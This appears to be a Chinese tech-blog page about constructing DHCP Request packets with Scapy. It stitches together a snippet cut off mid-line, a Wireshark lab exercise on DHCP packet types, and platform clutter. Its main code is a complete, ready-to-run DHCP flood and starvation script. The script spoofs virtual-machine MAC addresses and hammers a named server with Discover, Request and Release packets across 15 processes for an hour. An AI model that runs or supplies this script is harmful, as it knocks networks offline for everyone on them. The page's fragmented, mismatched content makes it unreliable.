DHCP_request数据包构造

本文详细探讨了如何使用Python来构造DHCP_request数据包,深入理解网络协议中的DHCP过程。同时,我们还将关注此操作在Windows环境下的实现细节,以及它在网络安全中的潜在应用。
from scapy.all import *
from scapy.all import DHCP , Ether ,IP , BOOTP ,UDP
def detect_dhcp(pkt):
    if DHCP in pkt:
        if pkt[DHCP].options[0][1]==
任务描述 本关任务:根据所学使用 Wireshark 对各种 DHCP 数据报的内容与含义进行分析的相关知识,完成相应的操作。 相关知识 为了完成本关任务,你需要掌握: DHCP 数据包的含义; Wireshark 进行 DHCP 报文分析。 DHCP Discover 数据包 DHCP 客户端在请求 IP 地址时并不知道 DHCP 服务器的位置,因此 DHCP 客户端会在本地网络内以广播方式发送 Discover 请求报文,以发现网络中的 DHCP 服务器。所有收到 Discover 报文的 DHCP 服务器都会发送应答报文,DHCP 客户端据此可以知道网络中存在的 DHCP 服务器的位置,如图1所示为一个 Discover 数据包. 图 1 Discover 数据包 DHCP Offer 数据包 DHCP 服务器收到 Discover 报文后,就会在所配置的地址池中查找一个合适的 IP 地址,加上相应的租约期限和其他配置信息(如网关、DNS 服务器等),构造一个 Offer 报文,发送给 DHCP 客户端,告知用户本服务器可以为其提供 IP 地址。但这个报文只是告诉 DHCP 客户端可以提供 IP 地址,最终还需要客户端通过 ARP 来检测该 IP 地址是否重复。如图2所示为一个 Offer 数据包。 图 2 Offer 数据包 DHCP Request 数据包 当 Client 收到了 DHCP Offer 包以后,确认有可以和它交互的 DHCP 服务器存在,于是 Client 发送 Request 数据包,请求分配 IP。如图3所示,此时的源 IP 和目的 IP 依然是 0.0.0.0和255.255.255.255。 图 3 Request 数据包 DHCP ACK 数据包 DHCP 服务器收到 Request 请求报文后,根据 Request 报文中携带的用户 MAC 来查找有没有相应的租约记录,如果有则发送 ACK 应答报文,通知用户可以使用分配的 IP 地址。如图4所示为一个 DHCP ACK 数据包。 图 4 ACK 数据包 实验要求 双击打开桌面上的工作区文件夹 workspace 下的实训文件夹 myshixun 中的项目文件夹,并以 Mousepad 编辑器打开其中的文件 message.txt。然后进行如下操作: 打开 Wireshark,加载实训文件夹中的 data.pcapng 文件并筛选出其中的 DHCP 报文,在筛选 DHCP 报文时,我们通常使用 bootp 命令来进行过滤; 本机 DHCP 服务器的 IP 地址是多少?填写到 message.txt 文件中; 查看实验中的 IP 租约时间有多长?填写到message.txt 文件中; 保存文件并点击测评。 测试说明 平台会对你操作的结果进行测试,如果所有操作都正确,将顺利通过本关。 开始你的任务吧,祝你成功!(给我具体步骤
最新发布
05-30
from scapy.all import * from scapy.utils import mac2str import random import time import logging from multiprocessing import Process from ipaddress import ip_network, IPv4Address # 配置参数 INTERFACE = "WLAN" # 改为实际网卡名 BATCH_SIZE = 3000 # 单批报文数量提升50% FLOOD_INTERVAL = 0.003 # 间隔缩短至3毫秒 PROCESS_COUNT = 15 # 进程数增加50% ATTACK_DURATION = 3600 # 持续攻击1小时 DHCP_SERVER_IP = "10.168.116.1" # DHCP服务器地址 # 配置日志 logging.basicConfig( filename="dhcp_flood.log", level=logging.INFO, format='%(asctime)s - %(levelname)s: %(message)s' ) def generate_legit_mac(): vendors = { "VMware": "00:0C:29", "Hyper-V": "00:03:FF", "Parallels": "00:1C:42", "VirtualBox": "08:00:27" } vendor = random.choice(list(vendors.values())) suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3)) return f"{vendor}:{suffix}".upper() def generate_random_ip(): subnet = ip_network("10.168.116.0/24", strict=False) return str(next(subnet.hosts())) def craft_dhcp_packets(): pkts = [] for _ in range(BATCH_SIZE): mac = generate_legit_mac() xid = random.randint(1, 0xFFFFFFFF) ip = generate_random_ip() # 构造混合类型报文 pkts.extend([ # Discover Ether(dst="ff:ff:ff:ff:ff:ff", src=mac)/ IP(src="0.0.0.0", dst="255.255.255.255")/ UDP(sport=68, dport=67)/ BOOTP(chaddr=mac2str(mac), xid=xid)/ DHCP(options=[ ("message-type", "discover"), ("hostname", f"ATTACKER-{random.randint(1000, 9999)}"), "end" ]), # Request Ether(dst="ff:ff:ff:ff:ff:ff", src=mac)/ IP(src="0.0.0.0", dst="255.255.255.255")/ UDP(sport=68, dport=67)/ BOOTP(chaddr=mac2str(mac), xid=xid)/ DHCP(options=[ ("message-type", "request"), ("requested_addr", ip), ("server_id", DHCP_SERVER_IP), "end" ]), # Release(新增) Ether(dst="ff:ff:ff:ff:ff:ff", src=mac)/ IP(src="0.0.0.0", dst="255.255.255.255")/ UDP(sport=68, dport=67)/ BOOTP(chaddr=mac2str(mac), xid=xid)/ DHCP(options=[ ("message-type", "release"), ("lease_time", 0), "end" ]) ]) return pkts def flood_attack(): end_time = time.time() + ATTACK_DURATION try: while time.time() < end_time: packets = craft_dhcp_packets() sendp(packets, iface=INTERFACE, verbose=0) logging.info(f"Sent {len(packets)} packets") time.sleep(FLOOD_INTERVAL) except Exception as e: logging.error(f"Attack error: {str(e)}") if __name__ == "__main__": print("[*] 启动终极DHCP洪水攻击,按Ctrl+C停止") processes = [] for _ in range(PROCESS_COUNT): p = Process(target=flood_attack) p.daemon = True p.start() processes.append(p) try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[!] 攻击终止") for p in processes: p.terminate()
03-13
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值